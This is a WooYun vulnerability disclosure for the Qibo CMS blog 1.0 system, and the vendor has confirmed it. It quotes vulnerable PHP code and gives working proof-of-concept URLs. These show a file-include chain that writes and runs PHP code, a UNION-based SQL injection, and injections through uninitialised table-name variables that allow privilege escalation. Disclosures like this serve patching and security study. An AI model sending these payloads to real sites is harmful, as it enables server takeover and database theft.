当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098582

漏洞标题:齐博cms博客系统 前台 GETSHELL一处 & 三处注入。

相关厂商:齐博CMS

漏洞作者: ′雨。

提交时间:2015-03-02 17:10

修复时间:2015-06-02 09:24

公开时间:2015-06-02 09:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商已经确认,细节仅向厂商公开
2015-03-07: 细节向第三方安全合作伙伴开放
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

测试版本 http://down.qibosoft.com/down.php?v=blog1.0
前台 可GETSHELL 可注入 无视GPC
全部放在一起来。

详细说明:

http://down.qibosoft.com/down.php?v=blog1.0 下载地址。
1:GETSHELL
需要注册一个会员
在blog/require/ajax/ol_module.php 中

//显示模块
if($step==2)
{
$uid=$lfjuid;
@include("template/space/module/$moduleid.php");


看到这段代码 $moduleid 因为伪全局是可以控制的 且没过滤。
但是因为qibo全局有转义 所以肯定是截断不了的。
但是因为qibo的特殊性 在qibo的后台文件当中
function_exists('html') OR exit('ERR');
所以直接访问是不行的。
是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。
所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。
所以我们直接在后台找一个能GETSHELL的文件 然后包含进来 我们就可以直接操作后台了。
再来找能在后台GETSHELL的点
在后台中看到模版
hack/template/admin.php中

elseif($action=="maketpl"&&$Apower[template_list])
{
$path=dirname($postdb[filepath]);
if(!is_dir(ROOT_PATH.$path)){
makepath(ROOT_PATH.$path);
}
if(is_file(ROOT_PATH.$postdb[filepath])){
showmsg("此模板已存在了");
}
elseif(!eregi("(\.htm|\.html)$",$postdb[filepath])){
showmsg('模板只能是.htm .html文件!');
}
if($ifupfile)
{
$array[name]=is_array($postfile)?$_FILES[postfile][name]:$postfile_name;
$filetype=strtolower(strrchr($array[name],"."));
if($filetype!='.zip')
{
showerr("只能上传ZIP格式的压缩包",1);
}
write_file(ROOT_PATH.$postdb[filepath],' ');
if(!is_writable(ROOT_PATH.$postdb[filepath])){
echo "文件写入失败,请确认目录可写:".ROOT_PATH.$postdb[filepath];
die();
}

$array[path]=$webdb[updir]."/";
$array[size]=is_array($postfile)?$_FILES[postfile][size]:$postfile_size;


限制了只能为.htm 和 .html结尾的。 然后就直接把文件写了出来。
不怕不怕。
再看到blog\require\ajax\edit_sort.php

else
{
$query=$db->query("SELECT * FROM {$pre}$table_album WHERE uid='$lfjuid' ORDER BY list DESC");
while( $rs=$db->fetch_array($query) ){
$listdb[]=$rs;
}
require tpl_e($job); //job可控
}


function tpl_e($html){
return "template/space/edit/$html.htm";
}


这里我们直接把我们写的htm 返回回来 然后直接包含 又执行了代码
在登录会员的情况下
1:
/blog/ajax.php?inc=ol_module&step=2&step=2&moduleid=../../../../hack/template/admin&action=maketpl&Apower[template_list]=1&postdb[filepath]=template/yu.htm&postdb[code]=<?php phpinfo();?>

b1.jpg


2:blog/ajax.php?inc=edit_sort&job=../../../../template/yu

b2.jpg


0x02 注入
do/jf.php

error_reporting(0);extract($_GET);
require_once(dirname(__FILE__)."/../data/config.php");
if(!eregi("^([0-9]+)$",$id)){
die("document.write('ID不存在');");
}
$_GET['FileName']=$_POST['FileName']=$_COOKIE['FileName']=$FileName='';
$FileName=dirname(__FILE__)."/../cache/js/";
$FileName.="{$id}.php";
//默认缓存3分钟.
if(!$webdb["cache_time_js"]){
$webdb["cache_time_js"]=3;
}
if( (time()-filemtime($FileName))<($webdb["cache_time_js"]*60) ){
@include($FileName);
$show=str_replace(array("\n","\r","'"),array("","","\'"),stripslashes($show));
if($iframeID){ //框架方式不会拖慢主页面打开速度,推荐
//处理跨域问题
if($webdb[cookieDomain]){
echo "<SCRIPT LANGUAGE=\"JavaScript\">document.domain = \"$webdb[cookieDomain]\";</SCRIPT>";
}
echo "<SCRIPT LANGUAGE=\"JavaScript\">
parent.document.getElementById('$iframeID').innerHTML='$show';
</SCRIPT>";
}else{ //JS式会拖慢主页面打开速度,不推荐
echo "document.write('$show');";
}
exit;
}
require(dirname(__FILE__)."/"."global.php");
require_once(ROOT_PATH."inc/label_funcation.php");
$query=$db->query(" SELECT * FROM {$pre}label WHERE lid='$id' ");


WooYun: 齐博地方门户鸡肋文件包含造成的高危SQL注入
这个参考师傅大屌的 就行了 就不多说啦。
blog/ajax.php?inc=ol_module&step=2&moduleid=../../../../do/js&&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,user%28%29,9,10,11,12,13,14,15,16,17,18,19%23

b3.jpg


0x03
在blog/require/ajax/edit_sort.php中

switch($job){
case "video_sort":
$table_album="blog_mv_album";
break;
case "photo_sort":
$table_album="blog_photo_album";
break;
case "log_sort":
$table_album="blog_log_album";
break;
case "shop_sort":
$table_album="blog_shop_album";
break;
case "down_sort":
$table_album="blog_down_album";
break;
case "music_sort":
$table_album="blog_music_album";
break;
case "flash_sort":
$table_album="blog_flash_album";
break;
}
//首先这个table_album switch中 他没有设置defalut的表名 导致了我们如果设置的不是这些case 就相当于这个变量没有初始化了 再结合qibo的伪全局 就可以控制这个变量了。
if($act=='modify'){
foreach($name AS $key=>$value){
if($value!=$specialname[$key]){
$name = filtrate($name);
$db->query("UPDATE `{$pre}$table_album` SET name='$value' WHERE uid='$lfjuid' AND id='$key'");");//直接带入查询 且是update表名可控 导致了我们可以直接update我们的判断是不是管理的表 直接提升自己为管理
}
}
job_end($job);
}


b4.jpg


b5.jpg


0x04 blog\member\update_sort.php

if($action == "add"){
$rs=$db->get_one("SELECT COUNT(*) AS NUM FROM `{$pre}blog_{$type}_album` WHERE uid='$lfjuid'");
if($rs[NUM]>50){
die("你不能创建大于50个分类");
}
$db->query("INSERT INTO `{$pre}blog_{$type}_album` SET name='$name',uid='$lfjuid',list='$timestamp'");
echo "<META HTTP-EQUIV=REFRESH CONTENT='0;URL=?step=1&type=$type'>";
exit;
}
if($action == "update"){
foreach($name AS $key=>$value){
$db->query("UPDATE `{$pre}blog_{$type}_album` SET name='$value' WHERE uid='$lfjuid' AND id='$key'");
}
echo "<META HTTP-EQUIV=REFRESH CONTENT='0;URL=?step=1&type=$type'>";
exit;
}


type未初始化 可控 导致了注入。

b6.jpg

漏洞证明:

b2.jpg


修复方案:

由鸡肋的文件包含引起的
用你们惯用的正则把那里过滤下就好。
该初始化的就初始化。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2015-03-04 09:23

厂商回复:

感谢提出来

最新状态:

暂无